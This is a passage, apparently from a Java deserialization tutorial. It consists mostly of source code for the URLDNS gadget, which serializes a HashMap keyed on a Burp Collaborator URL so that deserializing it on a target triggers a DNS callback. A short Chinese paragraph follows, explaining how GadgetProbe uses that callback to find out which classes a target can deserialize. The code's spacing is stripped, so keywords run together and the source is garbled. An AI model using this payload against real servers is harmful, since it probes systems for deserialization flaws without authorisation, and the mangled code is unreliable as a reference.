importjava.io.File;importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.net.InetAddress;importjava.net.URLConnection;importjava.net.URLStreamHandler;importjava.util.HashMap;importjava.net.URL;publicclassURLDNS {publicstaticvoidGeneratePayload(Object instance,String file)throwsException {//Serialize the constructed payload and write it to the fileFile f =newFile(file);ObjectOutputStream out =newObjectOutputStream(new FileOutputStream(f));out.writeObject(instance);out.flush();out.close();}publicstaticvoidpayloadTest(String file) throwsException {//Read the written payload and deserialize itObjectInputStream in =newObjectInputStream(new FileInputStream(file));Object obj =in.readObject();System.out.println(obj);in.close();}publicstaticvoidmain(finalString[] args) throwsException {String url ="http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";HashMap ht =newHashMap(); // HashMap that will contain the URLURLStreamHandler handler =newSilentURLStreamHandler();URL u =newURL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.// During the put above, the URL's hashCode is calculated and cached.// This resets that so the next time hashCode is called a DNS lookup will be triggered.finalField field =u.getClass().getDeclaredField("hashCode");field.setAccessible(true);field.set(u,-1);//Test the payloadsGeneratePayload(ht,"C:\\Users\\Public\\payload.serial");}}classSilentURLStreamHandlerextendsURLStreamHandler {protectedURLConnectionopenConnection(URL u) throwsIOException {returnnull;}protectedsynchronizedInetAddressgetHostAddress(URL u) {returnnull;}}
GadgetProbe 将使用上一节的 DNS 负载,但在运行 DNS 查询之前,它将 尝试反序列化一个任意类。如果 任意类存在,则 DNS 查询 将被 发送,GadgetProbe 将记录该类存在。如果 DNS 请求 从未发送,这意味着 任意类未成功反序列化,因此它要么不存在,要么 不可序列化/不可利用。